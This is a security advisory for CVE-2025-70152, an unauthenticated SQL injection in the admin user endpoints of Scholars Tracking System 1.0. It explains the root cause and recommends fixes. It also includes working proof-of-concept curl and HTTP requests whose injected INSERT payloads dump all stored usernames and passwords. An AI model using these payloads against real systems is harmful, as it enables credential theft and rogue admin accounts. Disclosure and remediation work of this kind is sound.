CVE-2025-70152 - Scholars Tracking System 1.0: Unauthenticated SQL Injection via /admin/save_user.php and /admin/update_user.php
Critical unauthenticated SQL injection in admin user management endpoints allows credential extraction and data manipulation in Scholars Tracking System 1.0.
Summary
| Field | Detail |
|---|---|
| CVE ID | CVE-2025-70152 |
| Product | Scholars Tracking System in PHP 1.0 |
| Vendor | code-projects |
| Vulnerability | Missing Authentication + SQL Injection |
| Attack Vector | Remote, Unauthenticated |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Base Score: 9.8 |
| CWE | CWE-306, CWE-89 |
| Discoverer | MinhKhoa |
| Date | 2025-12-28 |
1. Description
Scholars Tracking System in PHP 1.0 contains a Critical Unauthenticated SQL Injection vulnerability in the admin user management endpoints /admin/save_user.php and /admin/update_user.php.
These endpoints:
- Do not enforce authentication or session checks (Missing Authentication - CWE-306)
- Directly concatenate user-supplied POST parameters (
firstname,lastname,username,password,user_id) into SQL queries without validation or parameterization (SQL Injection - CWE-89)
As a result, a remote unauthenticated attacker can inject malicious SQL via a simple HTTP POST request, potentially leading to:
- Full database dump (credential extraction)
- Data manipulation (INSERT / UPDATE of arbitrary records)
- Denial of service via malformed queries
Attack Vector: Remote (Network) — direct HTTP POST request without any session cookie.
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8)
2. Root Cause Analysis
2.1 Missing Authentication (CWE-306)
/admin/save_user.php and /admin/update_user.php perform privileged INSERT/UPDATE operations on the users table without verifying a valid admin session (e.g., session_start() + isset($_SESSION[...])).
This is a classic CWE-306 (Missing Authentication for Critical Function) pattern.
Note: Even though the server returns a
302 redirecttoadmin_user.phpafter processing, the SQL query is executed before the redirect — meaning the injection is processed regardless of the redirect response.
2.2 SQL Injection via POST parameters (CWE-89)
The endpoints directly concatenate user-supplied input into SQL INSERT/UPDATE statements without parameterization. Example (simplified):
1
2
3
4
5
6
7
8
// save_user.php (INSERT)
$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$username = $_POST['username'];
$password = $_POST['password'];
$query = "INSERT INTO users (firstname, lastname, username, password, role)
VALUES ('$firstname', '$lastname', '$username', '$password', 'ADMIN')";
An attacker can break out of the string context via a single quote (') and inject arbitrary SQL.
Confirmation of injection point: Sending a raw single quote in the password field triggers a Fatal error: Uncaught PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 — confirming unsanitized input reaches the SQL engine.
3. Steps to Reproduce (PoC)
All requests below are sent without a Cookie header (no prior login required).
ReplaceTARGETwith the base URL of your local test deployment.
PoC #1 — Confirm injection point (error-based)
Send a single quote in the password field:
1
2
3
curl -X POST "http://TARGET/admin/save_user.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "firstname=x&lastname=x&username=x&password='"
Observed result: HTTP 200 with a PHP Fatal error:
1
2
3
4
Fatal error: Uncaught PDOException: SQLSTATE[42000]:
Syntax error or access violation: 1064 You have an error
in your SQL syntax; ... near '''' at line 1 in
/var/www/html/admin/save_user.php:7
This confirms that the password parameter is injected directly into the SQL query without escaping.
PoC #2 — Extract credentials via stacked INSERT injection (unauthenticated)
The following payload injects a second VALUES row into the INSERT statement, pulling username and password from the users table and inserting them as a new record (readable via the admin UI):
HTTP Request (Burp):
1
2
3
4
5
6
7
POST /admin/save_user.php HTTP/1.1
Host: 127.0.0.1:4444
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 165
firstname=x&lastname=x&username=x&password=x'),+((SELECT+username+FROM+users+WHERE+user_id=18),+(SELECT+password+FROM+users+WHERE+user_id=18),+'ADMIN',+'LEAKED')--+-
curl equivalent:
1
2
3
4
curl -X POST "http://127.0.0.1:4444/admin/save_user.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "firstname=x&lastname=x&username=x&password=x'),+((SELECT+GROUP_CONCAT(username+SEPARATOR+','))+FROM+users),+(SELECT+GROUP_CONCAT(password+SEPARATOR+',')+FROM+users),+'ALL',+'DUMP')--+-" \
-v
Observed result: Server returns HTTP/1.1 302 Found redirecting to admin_user.php. Despite the redirect, the injected SQL was executed before the response — a new row containing the leaked credentials from the users table is inserted into the database.
The redirect does not indicate failure. The SQL injection executes server-side before any HTTP response is sent.
PoC #3 — Dump all credentials (batch extraction)
1
2
3
curl -X POST "http://127.0.0.1:4444/admin/save_user.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "firstname=x&lastname=x&username=x&password=x'),((SELECT GROUP_CONCAT(username SEPARATOR ',') FROM users),(SELECT GROUP_CONCAT(password SEPARATOR ',') FROM users),'ALL','DUMP')-- -"
Observed result: All usernames and passwords from the users table are injected into a new record, exposed via the admin panel or any endpoint that reads from the users table.
4. Impact
A remote unauthenticated attacker can:
- Extract sensitive database records — admin credentials, user PII — without any authentication
- Inject arbitrary data into the
userstable, creating rogue admin accounts - Manipulate or delete existing records if the database account has write/delete privileges
- Cause application errors / DoS via malformed SQL queries
5. Recommendation / Fix
5.1 Enforce authentication before processing any admin action
At the start of both /admin/save_user.php and /admin/update_user.php:
1
2
3
4
5
6
7
<?php
session_start();
if (!isset($_SESSION['admin_id'])) {
http_response_code(403);
exit('Forbidden');
}
?>
5.2 Use prepared statements (parameterized queries)
Replace direct string concatenation with PDO prepared statements:
1
2
3
4
5
6
7
8
9
10
$stmt = $pdo->prepare(
"INSERT INTO users (firstname, lastname, username, password, role)
VALUES (:firstname, :lastname, :username, :password, 'ADMIN')"
);
$stmt->execute([
':firstname' => $_POST['firstname'],
':lastname' => $_POST['lastname'],
':username' => $_POST['username'],
':password' => password_hash($_POST['password'], PASSWORD_BCRYPT),
]);
5.3 Additional hardening
- Hash passwords using
password_hash()/password_verify()— never store plaintext. - Apply least privilege to the database account (restrict INSERT/UPDATE/DELETE to only necessary tables).
- Add CSRF tokens to admin forms to prevent cross-site request forgery once authentication is in place.
- Consider rate limiting on admin endpoints.
6. References
- CWE-306: Missing Authentication for Critical Function
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
- OWASP: SQL Injection — https://owasp.org/www-community/attacks/SQL_Injection
- OWASP: Broken Access Control — https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- Vendor source: https://code-projects.org/scholars-tracking-system-in-php-with-source-code/

